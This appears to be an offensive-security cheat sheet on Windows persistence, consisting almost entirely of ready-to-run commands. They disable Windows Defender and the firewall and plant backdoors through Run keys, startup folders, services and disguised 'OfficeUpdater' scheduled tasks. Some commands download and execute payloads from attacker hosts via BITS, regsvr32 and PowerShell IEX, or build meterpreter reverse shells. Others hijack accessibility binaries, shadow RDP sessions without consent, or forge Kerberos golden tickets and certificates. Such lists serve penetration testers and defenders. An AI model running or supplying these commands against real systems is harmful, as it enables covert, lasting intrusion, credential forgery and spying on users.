18 KiB
Windows - Persistence
Summary
- Tools
- Hide Your Binary
- Disable Windows Defender
- Disable Windows Firewall
- Simple User
- Serviceland
- Elevated
- Domain
- References
Tools
Hide Your Binary
Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.
PS> attrib +h mimikatz.exe
Disable Windows Defender
# Disable Defender
sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true
# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All
## Exclude a process / location
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
Add-MpPreference -ExclusionPath C:\Video, C:\install
# Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
Disable Windows Firewall
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
# ip whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
Simple User
Set a file as hidden
attrib +h c:\autoexec.bat
Registry HKCU
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
Value name: Backdoor
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
Using the command line
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
Using SharPersist
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
Startup
Create a batch script in the user startup folder.
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
Using SharPersist
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Scheduled Tasks User
Using native schtask
# Create the scheduled tasks to run once at 00.00
schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
# Force run it now !
schtasks /run /tn "Device-Synchronize"
Using Powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
Using SharPersist
# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
BITS Jobs
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe" "C:\tmp\evil.exe"
# v1
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor
# v2 - exploit/multi/script/web_delivery
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoor
Serviceland
IIS
IIS Raid – Backdooring IIS Using Native Modules
$ git clone https://github.com/0x09AL/IIS-Raid
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
Windows Service
Using SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
Elevated
Registry HKLM
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
Value name: Backdoor
Value data: C:\Windows\Temp\backdoor.exe
Using the command line
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
Winlogon Helper DLL
Run executable during Windows logon
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
GlobalFlag
Run executable after notepad is killed
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
Startup Elevated
Create a batch script in the user startup folder.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Services Elevated
Create a service that will start automatically or on-demand.
# Powershell
New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
sc start pentestlab
# SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add
# sc
sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
sc start Backdoor
Scheduled Tasks Elevated
Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.
Processes spawned as scheduled tasks have taskeng.exe process as their parent
# Powershell
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
# OR
$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask "Backdoor" -InputObject $D
# Native schtasks
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]
##(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
##(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
##(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
##(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
##(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
##(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
Binary Replacement
Binary Replacement on Windows XP+
Feature | Executable |
---|---|
Sticky Keys | C:\Windows\System32\sethc.exe |
Accessibility Menu | C:\Windows\System32\utilman.exe |
On-Screen Keyboard | C:\Windows\System32\osk.exe |
Magnifier | C:\Windows\System32\Magnify.exe |
Narrator | C:\Windows\System32\Narrator.exe |
Display Switcher | C:\Windows\System32\DisplaySwitch.exe |
App Switcher | C:\Windows\System32\AtBroker.exe |
In Metasploit : use post/windows/manage/sticky_keys
Binary Replacement on Windows 10+
Exploit a DLL hijacking vulnerability in the On-Screen Keyboard osk.exe executable.
Create a malicious HID.dll in C:\Program Files\Common Files\microsoft shared\ink\HID.dll
.
RDP Backdoor
utilman.exe
At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
sethc.exe
Hit F5 a bunch of times when you are at the RDP login screen.
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
Remote Desktop Services Shadowing
⚠️ FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.
Requirements:
- RDP must be running
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4
# 4 – View Session without user’s permission.
# Allowing remote connections to this computer
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable UAC remote restriction
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host;
# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowee’s session ID;
# /noconsentprompt parameter allows to bypass a shadowee’s permission and shadow their session without their consent;
# /prompt parameter is used to specify a user’s credentials to connect to a remote host.
Skeleton Key
# Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>
# Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
Domain
User Certificate
# Request a certificate for the User template
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User
# Convert the certificate for Rubeus
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Request a TGT using the certificate
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!
Golden Certificate
Require elevated privileges in the Active Directory, or on the ADCS machine
- Export CA as p12 file:
certsrv.msc
>Right Click
>Back up CA...
- Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
privilege::debug crypto::capi crypto::cng crypto::certificates /systemstore:local_machine /store:my /export
- Alternative 2: Using SharpDPAPI, then convert the certificate:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
- ForgeCert - Forge a certificate for any active domain user using the CA certificate
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123 ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
- Finally you can request a TGT using the Certificate
Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
Golden Ticket
Forge a Golden ticket using Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
References
- A view of persistence - Rastamouse
- Windows Persistence Commands - Pwn Wiki
- SharPersist Windows Persistence Toolkit in C - Brett Hawkins
- IIS Raid – Backdooring IIS Using Native Modules - 19/02/2020
- Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa
- Persistence - Checklist - @netbiosX
- Persistence – Winlogon Helper DLL - @netbiosX
- Persistence - BITS Jobs - @netbiosX
- Persistence – Image File Execution Options Injection - @netbiosX
- Persistence – Registry Run Keys - @netbiosX
- Golden Certificate - NOVEMBER 15, 2021